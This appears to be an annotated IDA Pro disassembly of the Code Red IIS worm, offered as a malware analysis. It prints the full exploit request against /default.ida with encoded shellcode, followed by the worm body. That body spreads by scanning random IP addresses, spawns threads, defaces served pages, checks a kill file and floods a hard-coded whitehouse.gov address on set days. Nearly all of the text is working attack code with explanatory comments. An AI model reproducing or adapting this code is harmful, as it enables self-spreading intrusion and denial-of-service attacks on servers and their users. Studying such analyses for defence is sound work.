; SYSTEMTIME struc ; (sizeof=0x10) ; XREF: 0:FF00007Er wYear dw ? wMonth dw ? wDayOfWeek dw ? wDay dw ? wHour dw ? wMinute dw ? wSecond dw ? wMilliseconds dw ? SYSTEMTIME ends ; EXTENSION_CONTROL_BLOCK struc ; (sizeof=0x90) cbSize dd ? dwVersion dd ? ConnID dd ? dwHttpStatusCode dd ? lpszLogData db 80 dup(?) lpszMethod dd ? lpszQueryString dd ? lpszPathInfo dd ? lpszPathTranslated dd ? cbTotalBytes dd ? cbAvailable dd ? lpbData dd ? lpszContentType dd ? GetServerVariable dd ? WriteClient dd ? ReadClient dd ? ServerSupportFunction dd ? EXTENSION_CONTROL_BLOCK ends ; sockaddr_in struc ; (sizeof=0x10) ; XREF: 0:FF0000A1r sin_family dw ? sin_port dw ? ; base 2 sin_addr in_addr ? sin_zero db 8 dup(?) sockaddr_in ends ; in_addr struc ; (sizeof=0x4) ; XREF: 0:FF00009Fr S_un _S_un ? in_addr ends ; _S_un union ; (sizeof=0x4) ; XREF: 0:FF00009Er S_un_b _S_un_b ? S_un_w _S_un_w ? S_addr dd ? _S_un ends ; _S_un_b struc ; (sizeof=0x4) ; XREF: 0:FF00009Br s_b1 db ? s_b2 db ? s_b3 db ? s_b4 db ? _S_un_b ends ; _S_un_w struc ; (sizeof=0x4) ; XREF: 0:FF00009Cr s_w1 dw ? s_w2 dw ? _S_un_w ends ; ; ͻ ; This file is generated by The Interactive Disassembler (IDA) ; Copyright (c) 2001 by DataRescue sa/nv, ; Licensed to: Ryan Permeh - eCompany (1-user Standard 12/2000) ; ͼ ; ; seg000 segment byte public 'CODE' use32 assume cs:seg000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing aGetDefault_ida db 'GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN' db 'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN' db 'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN' db 'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN' db 'N%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685' db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f' db 'f%u0078%u0000%u00=a HTTP/1.0',0Dh,0Ah db 'Content-type: text/xml',0Ah db 'HOST:www.worm.com',0Ah db ' Accept: */*',0Ah db 'Content-length: 3569 ',0Dh,0Ah db 0Dh,0Ah ; S U B R O U T I N E ; this is the worm body. this is the code that actually does the work ; Attributes: bp-based frame WORM proc near TopOfStack = byte ptr -218h GetProcAddress = dword ptr -190h push ebp mov ebp, esp ; switch esp to ebp sub esp, 218h ; set up space for local variables push ebx ; save a few regs push esi push edi lea edi, [ebp+TopOfStack] ; fill in stack vars with 0xcc mov ecx, 86h ; '' mov eax, 0CCCCCCCCh repe stosd mov [ebp+GetProcAddress], 0 ; set to 0 ; this zeros out the memory that holds the GetProcAddress Call. jmp WORMCONTINUE WORM endp ; S U B R O U T I N E DataSetup proc near ; CODE XREF: seg000:00000D0Dp DataOffset = dword ptr -198h NewExceptionFrame= byte ptr -110h pop [ebp+DataOffset] lea edi, [ebp+NewExceptionFrame] ; set ebp -198h to address of the data segment ; set edi to ebp -110 mov eax, large fs:0 ; get previous exception frame mov [edi+8], eax ; set ebp+118 to 0 mov large fs:0, edi ; set new exception frame jmp JUMP_TABLE1 DataSetup endp ; S U B R O U T I N E DO_RVA proc near ; CODE XREF: seg000:00000C93p ThreadId = byte ptr -1D4h DLLImageBase = dword ptr -1CCh Index = dword ptr -1B8h TempOffset = dword ptr -1B4h ThreadCounter = dword ptr -1B0h ExportDirectory = dword ptr -1ACh ImageBase = dword ptr -1A8h var_1A0 = dword ptr -1A0h DataOffset = dword ptr -198h WriteClient = dword ptr -194h GetProcAddress = dword ptr -190h MultipliedThreadCounter= dword ptr -18Ch FunctionsTable = dword ptr -174h LoadLibraryA = dword ptr -170h CreateThread = dword ptr -168h Sleep = dword ptr -160h GetSystemDefaultLangId= dword ptr -15Ch StartThread = byte ptr -130h var_110 = dword ptr -110h var_10C = dword ptr -10Ch pExtensionControlBlock= dword ptr 8 arg_C = dword ptr 10h NumberOfNames = dword ptr 18h arg_20 = dword ptr 24h arg_38 = dword ptr 3Ch arg_80 = dword ptr 84h pop [ebp+var_1A0] mov [ebp+var_110], 0FFFFFFFFh ; set 110h to 0xffffffff mov eax, [ebp+DataOffset] ; load eax to the data address sub eax, 7 ; sub 7 from the data segment, putting you at: oD0B mov [ebp+var_10C], eax mov [ebp+ImageBase], 77E00000h call DO_REWRITE ; jump into ced, do stuff, then jump back ImageBaseSearchLoop: ; CODE XREF: DO_RVA+213j cmp [ebp+GetProcAddress], 0 ; this is null on the first loop through, due to a null set at init. ; The purpose of this loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dll, or more specificly, KERN jnz GETPROC_LOADED ; go here after GetProcAddr Is loaded mov ecx, [ebp+ImageBase] add ecx, 10000h mov [ebp+ImageBase], ecx cmp [ebp+ImageBase], 78000000h ; is it msvcrt? jnz short NOT_MSVCRT ; if it is not, then jump here mov [ebp+ImageBase], 0BFF00000h NOT_MSVCRT: ; CODE XREF: DO_RVA+57j mov edx, [ebp+ImageBase] xor eax, eax ; null out eax mov ax, [edx] ; move the low half of *edx into eax ; should be something like 5a4d cmp eax, 'ZM' jnz ToImageBaseSearchLoop ; jump if eax is not 'MZ' mov ecx, [ebp+ImageBase] ; looking for PE header mov edx, [ecx+3Ch] ; edx = pDosHeader->e_lfanew mov eax, [ebp+ImageBase] xor ecx, ecx mov cx, [eax+edx] ; cx = *pNTHeader = pDosHeader + pDosHeader->e_lfanew; cmp ecx, 'EP' jnz ToImageBaseSearchLoop ; if not PE header go to next iteration mov edx, [ebp+ImageBase] mov eax, [edx+3Ch] ; eax = pDosHeader->e_lfanew mov ecx, [ebp+ImageBase] mov edx, [ecx+eax+78h] ; edx = Export Table RVA add edx, [ebp+ImageBase] ; Export Table = ImageBase + RVA mov [ebp+ExportDirectory], edx mov eax, [ebp+ExportDirectory] mov ecx, [eax+0Ch] ; ecx = DLL name RVA add ecx, [ebp+ImageBase] ; ecx = DLL name offset mov [ebp+TempOffset], ecx mov edx, [ebp+TempOffset] cmp dword ptr [edx], 'NREK' ; check for KERNEL32.DLL jnz ToImageBaseSearchLoop mov eax, [ebp+TempOffset] cmp dword ptr [eax+4], '23LE' jnz ToImageBaseSearchLoop mov ecx, [ebp+ImageBase] ; ok, we have kernel32, now get the functions we need. mov [ebp+DLLImageBase], ecx mov edx, [ebp+ExportDirectory] mov eax, [ebp+ImageBase] add eax, [edx+20h] ; eax = ExportDirectory.AddressOfNames mov [ebp+TempOffset], eax mov [ebp+Index], 0 ; set ebp-1b8 to 0 jmp short FindGetProcAddress ; This is the part of the inner RVA loop that compares the current RVA function to GetProcAddr. ; ; FindGetProcAddressLoop: ; CODE XREF: DO_RVA+20Ej mov ecx, [ebp+Index] ; go to next Name RVA add ecx, 1 mov [ebp+Index], ecx mov edx, [ebp+TempOffset] add edx, 4 mov [ebp+TempOffset], edx FindGetProcAddress: ; CODE XREF: DO_RVA+11Ej mov eax, [ebp+ExportDirectory] ; This is the part of the inner RVA loop that compares the current RVA function to GetProcAddr. ; mov ecx, [ebp+Index] cmp ecx, [eax+18h] ; ExportDirectory.NumberOfNames jge ToImageBaseSearchLoop ; this is the end of the inside loop(there are no more functions), goto RVA top and try again. mov edx, [ebp+TempOffset] mov eax, [edx] ; eax = Names RVA mov ecx, [ebp+ImageBase] cmp dword ptr [ecx+eax], 'PteG' ; looking for GetProcAddr jnz ToFindGetProcAddressLoop ; didn't match, try the next one. mov edx, [ebp+TempOffset] mov eax, [edx] mov ecx, [ebp+ImageBase] cmp dword ptr [ecx+eax+4], 'Acor' ; looking for GetProcAddr jnz ToFindGetProcAddressLoop ; didn't match, try the next one. mov edx, [ebp+Index] ; it did match this is GetPRocAddr, need to get address for this func. add edx, [ebp+Index] ; get offset into table and double it add edx, [ebp+ImageBase] mov eax, [ebp+ExportDirectory] mov ecx, [eax+24h] ; ExportDirectory.AddressOfNameOrdinals xor eax, eax mov ax, [edx+ecx] mov [ebp+TempOffset], eax ; ordinal mov ecx, [ebp+ExportDirectory] mov edx, [ecx+10h] ; ExportDirectory.Base mov eax, [ebp+TempOffset] lea ecx, [eax+edx-1] ; ecx = index in AddressOfFunctions array mov [ebp+TempOffset], ecx mov edx, [ebp+TempOffset] add edx, [ebp+TempOffset] add edx, [ebp+TempOffset] add edx, [ebp+TempOffset] ; index*4 add edx, [ebp+ImageBase] ; + ImageBase mov eax, [ebp+ExportDirectory] mov ecx, [eax+1Ch] ; ecx = ExportDirectory.AddressOfFunctions mov edx, [edx+ecx] ; edx = RVA of GetProcAddress mov [ebp+TempOffset], edx mov eax, [ebp+TempOffset] add eax, [ebp+ImageBase] mov [ebp+GetProcAddress], eax ; set GetProcAddr Address jmp short ToImageBaseSearchLoop ; ToFindGetProcAddressLoop: ; CODE XREF: DO_RVA+168j DO_RVA+184j jmp FindGetProcAddressLoop ; go to next Name RVA ; ToImageBaseSearchLoop: ; CODE XREF: DO_RVA+73j DO_RVA+94j ... jmp ImageBaseSearchLoop ; this is null on the first loop through, due to a null set at init. ; The purpose of this loop point is to loop through DLL Names in the RVA table, looking for KERNEL32.dll, or more specificly, KERN ; GETPROC_LOADED: ; CODE XREF: DO_RVA+35j lea edi, [ebp+var_110] mov eax, [edi+8] mov large fs:0, eax ; restore exception chain cmp [ebp+GetProcAddress], 0 ; see if getprocaddr is loaded jnz short GPLOADED2 ; if it is, goto gploaded2 jmp TIGHT_LOOP ; else ; GPLOADED2: ; CODE XREF: DO_RVA+22Ej mov [ebp+TempOffset], 1 jmp short FunctionAddressesAdjustLoop ; load edx with the data segment ; LoadDllLoop: ; CODE XREF: DO_RVA+2E9j mov ecx, [ebp+TempOffset] ; increment the counter at ebp-ib4 add ecx, 1 mov [ebp+TempOffset], ecx FunctionAddressesAdjustLoop: ; CODE XREF: DO_RVA+23Fj mov edx, [ebp+DataOffset] ; load edx with the data segment movsx eax, byte ptr [edx] ; move the byte at data segment to eax test eax, eax ; check if the byte is null. ; 0, 0 means end of the function names section. ; 0, 9 means next dll jz FUNC_LOAD_DONE ; if it is, go here mov ecx, [ebp+DataOffset] movsx edx, byte ptr [ecx] cmp edx, 9 ; 9 is delimiter between dlls areas jnz short GetFunctionAddressesFromCurrentDLL ; if not, jump here mov eax, [ebp+DataOffset] ; set eax to current data pointer add eax, 1 ; get past the 9 mov esi, esp push eax ; push current data pointer call [ebp+LoadLibraryA] ; LoadLibraryA cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+DLLImageBase], eax ; load current dll base pointer with return from LoadLibraryA jmp short DLL_CHECK_NULL_BRANCH ; GetFunctionAddressesFromCurrentDLL: ; CODE XREF: DO_RVA+26Dj mov esi, esp mov ecx, [ebp+DataOffset] ; set ecx with the data segment pointer push ecx ; push data segment(pointer of function to load) mov edx, [ebp+DLLImageBase] push edx ; push module handle(base loaded address) call [ebp+GetProcAddress] ; call GetProcAddress cmp esi, esp nop ; \ inc ebx dec ebx ; nothing, probably early was error check inc ebx dec ebx ; / mov ecx, [ebp+TempOffset] ; Current function array index mov [ebp+ecx*4+FunctionsTable], eax ; set just received function address DLL_CHECK_NULL_BRANCH: ; CODE XREF: DO_RVA+28Ej jmp short CHECK_NULL_BRANCH ; load eax with data segment. ; ; this checks the nullishness of the ebp-198 data pointer, and if isn't null, increments it. ; NullSearchLoop: ; CODE XREF: DO_RVA+2D8j mov edx, [ebp+DataOffset] ; increment DataOffset to next char add edx, 1 mov [ebp+DataOffset], edx CHECK_NULL_BRANCH: ; CODE XREF: DO_RVA+2BAj mov eax, [ebp+DataOffset] ; load eax with data segment. ; ; this checks the nullishness of the ebp-198 data pointer, and if isn't null, increments it. movsx ecx, byte ptr [eax] ; load byte at eax into ecx test ecx, ecx ; check for null jz short GETPROC_SHIFT_NULL ; if it is null, go here jmp short NullSearchLoop ; else go here ; GETPROC_SHIFT_NULL: ; CODE XREF: DO_RVA+2D6j mov edx, [ebp+DataOffset] ; this function moves past the null on the end of a line to set the function up for the next run through the getproc/load library system add edx, 1 mov [ebp+DataOffset], edx jmp LoadDllLoop ; increment the counter at ebp-ib4 ; FUNC_LOAD_DONE: ; CODE XREF: DO_RVA+25Bj mov eax, [ebp+DataOffset] add eax, 1 mov [ebp+DataOffset], eax ; This moves us past the final NULL at the end of the Dll Listing mov ecx, [ebp+pExtensionControlBlock] ; load ecx with an address of EXTENSION_CONTROL_BLOCK mov edx, [ecx+84h] ; edx = EXTENSION_CONTROL_BLOCK.WriteClient mov [ebp+WriteClient], edx mov [ebp+TempOffset], 4 ; Number of bytes to send ; create code for the thread mov [ebp+StartThread], 68h ; 'h' ; patch byte with 68 that is instruction code for push [value] mov eax, [ebp+pExtensionControlBlock] ; load eax with ebp+8(possibly an isapi request struct) mov dword ptr [ebp+StartThread+1], eax ; patch dword with ExtensionBlockAddress ; ; create other instructions: ; pop ebx // 5b ; push ebx // 53 ; push ebx // 53 ; jmp [ebx+78] // ff 63 78 ; mov dword ptr [ebp+StartThread+5], 0FF53535Bh mov dword ptr [ebp+StartThread+9], 90907863h mov ecx, [ebp+pExtensionControlBlock] ; check pointer to the possible isapi struct mov edx, [ecx+10h] ; ExtensionControlBlock.lpszLogData mov [ebp+ThreadCounter], edx cmp [ebp+ThreadCounter], 0 ; Check if there are any data in log buffer jnz short CreateNewThread ; ThreadCounter < 100 mov esi, esp ; Get Ready to call a function push 0 ; dwSync lea eax, [ebp+TempOffset] push eax ; Number of bytes to send mov ecx, [ebp+DataOffset] ; Buffer of 'GET' push ecx mov edx, [ebp+pExtensionControlBlock] ; set edx with ebp+8 pointer mov eax, [edx+8] ; ExtensionControlBlock.ConnID push eax call [ebp+WriteClient] ; call WriteClient cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx CreateNewThread: ; CODE XREF: DO_RVA+34Dj cmp [ebp+ThreadCounter], 64h ; 'd' ; ThreadCounter < 100 jge short TOO_MANY_THREADS ; branch here if more than 100 are running mov ecx, [ebp+ThreadCounter] add ecx, 1 ; increment the number of open threads mov [ebp+ThreadCounter], ecx mov edx, [ebp+ThreadCounter] ; set thread count into edx imul edx, 50F0668Dh mov [ebp+MultipliedThreadCounter], edx ; store the new val at ebp-18c mov eax, [ebp+pExtensionControlBlock] mov ecx, [ebp+ThreadCounter] mov [eax+10h], ecx ; put to ExtensionControlBlock.lpszLogData ThreadCounter mov esi, esp lea edx, [ebp+ThreadId] push edx ; LPDWORD lpThreadId // thread identifier push 0 ; DWORD dwCreationFlags // creation option lea eax, [ebp+TempOffset] push eax ; LPVOID lpParameter // thread argument ; StasrtTread contains following instruction: ; push ExtensionControlBlock ; pop ebx ; push ebx ; push ebx ; jmp [ebx+78] - ExtensionControlBlock.lpbData ; ExtensionControlBlock.lpbData points to a buffer that has the data sent by the client ; hence ExtensionControlBlock.lpbData points to the first byte of worm code ; the same schema is used at the begin when worm get control ; from call ebx instruction at 0x7801cbd3 lea ecx, [ebp+StartThread] push ecx ; LPTHREAD_START_ROUTINE lpStartAddress // thread function push 0 ; DWORD dwStackSize // initial stack size push 0 ; LPSECURITY_ATTRIBUTES lpThreadAttributes // SD call [ebp+CreateThread] ; CreateThread cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx jmp DO_THE_WORK ; TOO_MANY_THREADS: ; CODE XREF: DO_RVA+37Cj mov esi, esp ; setup a func call [ebp+GetSystemDefaultLangId] ; GetSystemDefaultLangId cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+TempOffset], eax ; put default system languageid mov edx, [ebp+TempOffset] and edx, 0FFFFh mov [ebp+TempOffset], edx cmp [ebp+TempOffset], 409h jz short IS_AMERICAN ; if not english go jmp DO_THE_WORK ; IS_AMERICAN: ; CODE XREF: DO_RVA+40Bj mov esi, esp push 6DDD00h ; this is 2 hours call [ebp+Sleep] ; Sleep ; ; This Sleeps for 2 hours cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx jmp HACK_PAGE_JUMP ; this sets up the hacked page bit DO_RVA endp ; S U B R O U T I N E ; pop the stack into the counter HACK_PAGE proc near ; CODE XREF: seg000:00000CCFp FileHandle = dword ptr -1D0h DLLImageBase = dword ptr -1CCh SysTime = SYSTEMTIME ptr -1C8h Index = byte ptr -1B8h TempValue = dword ptr -1B4h SecMilisec = dword ptr -1B0h var_1A0 = dword ptr -1A0h pBuffer = dword ptr -19Ch DataOffset = dword ptr -198h MultipliedThreadCounter= dword ptr -18Ch Sock = dword ptr -188h sockaddr = sockaddr_in ptr -184h GetSystemTime = dword ptr -16Ch CreateFileA = dword ptr -164h Sleep = dword ptr -160h VirtualProtect = dword ptr -158h var_150 = dword ptr -150h socket = dword ptr -148h connect = dword ptr -144h Send = dword ptr -140h recv = dword ptr -13Ch closesocket = dword ptr -138h var_134 = dword ptr -134h RecvBuf = byte ptr -104h pExtensionControlBlock= dword ptr 8 pop [ebp+TempValue] mov eax, [ebp+DLLImageBase] ; load eax with the current dll base address(probably w3svc) mov [ebp+var_134], eax ; store base at ebp-134 mov ecx, [ebp+TempValue] ; load thecounter into ecx mov edx, [ebp+var_150] ; load edx with tcpsocksend mov [ecx], edx ; store tcpsocksend at the address popped from the stack mov eax, [ebp+TempValue] ; load eax with the address popped from the stack mov ecx, [ebp+closesocket] ; load ecx with close socket mov [eax+4], ecx ; the next addr after the one popped is replaced with closesocket mov edx, [ebp+DataOffset] ; store data pointer in edx mov [ebp+SecMilisec], edx ; store data pointer jmp short GET_HTML ; GET_HTML_INC: ; CODE XREF: HACK_PAGE+70j mov eax, [ebp+SecMilisec] ; Get the next byte to compare to add eax, 1 mov [ebp+SecMilisec], eax GET_HTML: ; CODE XREF: HACK_PAGE+3Bj mov ecx, [ebp+DataOffset] add ecx, 100h cmp [ebp+SecMilisec], ecx ; compare shifted URL to HTML jnb short FOUND_HTML ; load eax with the data segment mov edx, [ebp+SecMilisec] cmp dword ptr [edx], 'HTML' ; look for HTML jnz short GET_HTML_INC_JUMP jmp short FOUND_HTML ; load eax with the data segment ; GET_HTML_INC_JUMP: ; CODE XREF: HACK_PAGE+6Cj jmp short GET_HTML_INC ; Get the next byte to compare to ; FOUND_HTML: ; CODE XREF: HACK_PAGE+5Ej ; HACK_PAGE+6Ej mov eax, [ebp+SecMilisec] ; load eax with the data segment add eax, 4 mov ecx, [ebp+TempValue] ; set ecx with the counter mov [ecx+8], eax mov esi, esp ; move the web data into the request return lea edx, [ebp+Index] push edx ; set ebp-1b8 to receive the old page protection push 4 ; make page readwrte push 4000h ; for 4000 hex bytes mov eax, [ebp+var_134] ; stored write address for w3svc push eax call [ebp+VirtualProtect] ; VirtualProtect cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+TempValue], 0 ; reset counter to 0 jmp short TCPSOCKSEND_FIND ; check if counter is 3000h yet ; TCPSOCKSEND_FIND_INC: ; CODE XREF: HACK_PAGE+123j mov ecx, [ebp+TempValue] add ecx, 1 mov [ebp+TempValue], ecx TCPSOCKSEND_FIND: ; CODE XREF: HACK_PAGE+B2j cmp [ebp+TempValue], 3000h ; check if counter is 3000h yet jge short RESET_MEM_PROTECTION ; go here if it is mov edx, [ebp+var_134] ; set edx to the base add edx, [ebp+TempValue] ; add the offset from counter mov eax, [edx] ; store the value at the offset into eax cmp eax, [ebp+var_150] ; check ebp-150 against eax(tcpsocksend) jnz short TCPSOCKSEND_FIND_INC_JUMP ; jump here on a not match mov ecx, [ebp+var_134] ; load base into ecx add ecx, [ebp+TempValue] ; set ecx to the address of tcpsocksend mov edx, [ebp+var_1A0] ; set edx to o.C98 mov [ecx], edx ; replace the call to TCPSOCKSEND to o.C98 mov esi, esp push 2255100h ; sleep for a 10 hours call [ebp+Sleep] ; Sleep cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov eax, [ebp+var_134] ; set eax to the base of the loaded dll add eax, [ebp+TempValue] ; set eax to actual address of tcpsocksend mov ecx, [ebp+var_150] ; set ecx to tcpsocksend mov [eax], ecx ; replace the call to tcpsocksend with the original jmp short RESET_MEM_PROTECTION ; RESET_MEM_PROTECTION ; TCPSOCKSEND_FIND_INC_JUMP: ; CODE XREF: HACK_PAGE+E3j jmp short TCPSOCKSEND_FIND_INC ; RESET_MEM_PROTECTION: ; CODE XREF: HACK_PAGE+CDj ; HACK_PAGE+121j mov esi, esp ; RESET_MEM_PROTECTION lea edx, [ebp+TempValue] push edx mov eax, dword ptr [ebp+Index] push eax push 4000h mov ecx, [ebp+var_134] push ecx call [ebp+VirtualProtect] ; VirtualProtect cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx DO_THE_WORK: ; CODE XREF: DO_RVA+3D5j DO_RVA+40Dj ... mov edx, 1 test edx, edx jz TIGHT_LOOP ; This is a tight loop mov esi, esp push 0 ; HANDLE hTemplateFile // handle to template file push 80h ; '' ; DWORD dwFlagsAndAttributes // file attributes ; this is FILE_ATTRIBUTE_NORMAL push 3 ; DWORD dwCreationDisposition // how to create ; this is for OPEN_EXISTING push 0 ; LPSECURITY_ATTRIBUTES lpSecurityAttributes // SD push 1 ; DWORD dwShareMode // share mode ; this equates to FILE_SHARE_READ push 80000000h ; DWORD dwDesiredAccess // access mode ; this is for GENERIC_READ mov eax, [ebp+DataOffset] add eax, 63h ; 'c' ; this points eax to c:\notworm push eax ; LPCTSTR lpFileName // file name call [ebp+CreateFileA] ; CreateFileA cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+FileHandle], eax cmp [ebp+FileHandle], 0FFFFFFFFh ; check for INVALID_HANDLE_VALUE jz short NOTWORM_NO ; jump if Createfile failed NOTWORM_YES: ; CODE XREF: HACK_PAGE+1B2j mov ecx, 1 test ecx, ecx jz short NOTWORM_NO mov esi, esp push 7FFFFFFFh ; push a LONG time(basically forever) call [ebp+Sleep] ; Sleep ; cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx jmp short NOTWORM_YES ; NOTWORM_NO: ; CODE XREF: HACK_PAGE+193j ; HACK_PAGE+19Cj mov esi, esp lea edx, [ebp+SysTime] ; LPSYSTEMTIME lpSystemTime // system time push edx call [ebp+GetSystemTime] ; GetSystemTime cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov eax, dword ptr [ebp+SysTime.wDay] ; load eax with day and hour, UTC mov [ebp+TempValue], eax mov ecx, [ebp+TempValue] ; set ecx to day and hour UTC and ecx, 0FFFFh ; get lower word(day, UTC) mov [ebp+TempValue], ecx ; save the UTC hour cmp [ebp+TempValue], 14h ; check if day is less than 20 jl INFECT_HOST ; set seconds and milisecond to eax WhieteHouseAttack: ; CODE XREF: HACK_PAGE+337j mov edx, 1 test edx, edx jz INFECT_HOST ; set seconds and milisecond to eax mov esi, esp lea eax, [ebp+SysTime] ; LPSYSTEMTIME lpSystemTime // system time push eax call [ebp+GetSystemTime] ; GetSystemTime cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov ecx, dword ptr [ebp+SysTime.wDay] ; load ecx with day and hour, UTC mov [ebp+TempValue], ecx mov edx, [ebp+TempValue] and edx, 0FFFFh ; load edx with day and hour UTC mov [ebp+TempValue], edx cmp [ebp+TempValue], 1Ch ; check if day is less than 28, ; so attack whitehouse from 20 up to 27 jl short WHITEHOUSE_SOCKET_SETUP InfiniteLoop: ; CODE XREF: HACK_PAGE+25Cj mov eax, 1 test eax, eax jz short WHITEHOUSE_SOCKET_SETUP mov esi, esp push 7FFFFFFFh call [ebp+Sleep] ; Sleep cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx jmp short InfiniteLoop ; WHITEHOUSE_SOCKET_SETUP: ; CODE XREF: HACK_PAGE+23Dj ; HACK_PAGE+246j mov esi, esp push 64h ; 'd' call [ebp+Sleep] ; Sleep cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov esi, esp push 0 ; int protocol push 1 ; fam push 2 ; pr call [ebp+socket] ; socket cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+Sock], eax ; store sock descriptor mov [ebp+sockaddr.sin_family], 2 mov [ebp+sockaddr.sin_port], 5000h ; set port(80) mov dword ptr [ebp+sockaddr.sin_addr.S_un], 5BF089C6h ; set 198.137.240.91 (www1.whitehouse.gov) mov esi, esp push 10h ; push len lea ecx, [ebp+sockaddr] push ecx mov edx, [ebp+Sock] push edx call [ebp+connect] ; connect cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+TempValue], 0 jmp short WHITEHOUSE_SOCKET_SEND ; if counter >= 18000h jump ; WHITEHOUSE_SOCKET_SEND_LOOP: ; CODE XREF: HACK_PAGE+321j mov eax, [ebp+TempValue] add eax, 1 ; inc counter mov [ebp+TempValue], eax WHITEHOUSE_SOCKET_SEND: ; CODE XREF: HACK_PAGE+2CFj cmp [ebp+TempValue], 18000h ; if counter >= 18000h jump jge short WHITEHOUSE_SLEEP_LOOP mov esi, esp push 3E8h call [ebp+Sleep] ; Sleep cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov esi, esp push 0 ; no flags push 1 ; send len 1 lea ecx, [ebp+RecvBuf] ; addr of buf push ecx mov edx, [ebp+Sock] ; sock descriptor push edx call [ebp+Send] ; Send ; ; sends 1 byte cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx jmp short WHITEHOUSE_SOCKET_SEND_LOOP ; jump back to send ; WHITEHOUSE_SLEEP_LOOP: ; CODE XREF: HACK_PAGE+2EAj mov esi, esp push 1000000h ; sleep for around 4.66 hours call [ebp+Sleep] ; Sleep cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx jmp WhieteHouseAttack ; INFECT_HOST: ; CODE XREF: HACK_PAGE+1EFj ; HACK_PAGE+1FCj mov eax, dword ptr [ebp+SysTime.wSecond] ; set seconds and milisecond to eax mov [ebp+SecMilisec], eax mov ecx, [ebp+SecMilisec] ; load seconds and miliseconds to ecx imul ecx, [ebp+SecMilisec] ; multiply by itself imul ecx, 0CD59E3h ; multiply by 0cd59e3 mov edx, [ebp+SecMilisec] ; store sec/milisec inedx imul edx, 1E1B9h ; multiply sec/mil by 1e1b9 mov eax, [ebp+MultipliedThreadCounter] ; set eax to the threadcount add eax, ecx ; add ecx(multiplier) to eax add edx, eax ; add eax to edx mov [ebp+SecMilisec], edx mov ecx, [ebp+MultipliedThreadCounter] ; load threadcount imul(o.5bd) into ecx imul ecx, 0CF3383h ; multiply it add ecx, 76BFE53h ; add to it mov [ebp+MultipliedThreadCounter], ecx ; store it again mov edx, [ebp+MultipliedThreadCounter] ; set edx to the new val and edx, 0FFh ; get the last byte mov [ebp+SecMilisec], edx cmp [ebp+SecMilisec], 7Fh ; '' ; check if the byte is 7F jz short loc_A05 ; if it is, go here cmp [ebp+SecMilisec], 0E0h ; '' ; check if the last byteis 0e0 jnz short loc_A16 ; if it is not, go here loc_A05: ; CODE XREF: HACK_PAGE+3A8j mov eax, [ebp+MultipliedThreadCounter] add eax, 20DA9h ; add 20da9 to it mov [ebp+MultipliedThreadCounter], eax ; set the value to the new value loc_A16: ; CODE XREF: HACK_PAGE+3B4j mov esi, esp ; sleep for 100 ms push 64h ; 'd' ; 100 miliseconds call [ebp+Sleep] ; Sleep cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov esi, esp ; Create a socket push 0 ; int protocol push 1 ; int type push 2 ; int af call [ebp+socket] ; socket cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+Sock], eax mov [ebp+sockaddr.sin_family], 2 ; this sets up the socaddr struct mov [ebp+sockaddr.sin_port], 5000h mov ecx, [ebp+MultipliedThreadCounter] ; load ecx with the ip address mov dword ptr [ebp+sockaddr.sin_addr.S_un], ecx mov esi, esp push 10h ; int namelen lea edx, [ebp+sockaddr] push edx ; const struct sockaddr FAR *name mov eax, [ebp+Sock] push eax ; SOCKET s call [ebp+connect] ; connect cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx test eax, eax ; check if the connect succeeded jnz SOCK_CLOSE_LOOP ; if the connect failed goto closesocketloop mov esi, esp ; Send a "GET " push 0 push 4 mov ecx, [ebp+DataOffset] ; points to GET push ecx mov edx, [ebp+Sock] ; points to socket push edx call [ebp+Send] ; send a GET cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov [ebp+TempValue], 0 mov eax, [ebp+pExtensionControlBlock] mov ecx, [eax+68h] ; pExtensionControlBlock->lpszPathInfo '/default.ida' mov [ebp+pBuffer], ecx jmp short SETUP_URL_TO_SEND ; CalcUrlSizeLoop: ; CODE XREF: HACK_PAGE+49Cj mov edx, [ebp+pBuffer] add edx, 1 mov [ebp+pBuffer], edx mov eax, [ebp+TempValue] ; inc counter add eax, 1 mov [ebp+TempValue], eax SETUP_URL_TO_SEND: ; CODE XREF: HACK_PAGE+46Fj mov ecx, [ebp+pBuffer] movsx edx, byte ptr [ecx] ; move the byte to edx test edx, edx ; look for null jz short SEND_URL ; if it's null, then go here jmp short CalcUrlSizeLoop ; else go here ; SEND_URL: ; CODE XREF: HACK_PAGE+49Aj mov esi, esp push 0 ; no flags mov eax, [ebp+TempValue] push eax ; push size mov ecx, [ebp+pExtensionControlBlock] mov edx, [ecx+68h] ; pExtensionControlBlock->lpszPathInfo '/default.ida' push edx mov eax, [ebp+Sock] push eax call [ebp+Send] ; send cmp esi, esp nop inc ebx dec ebx inc ebx dec ebx mov esi, esp ; send "?" query 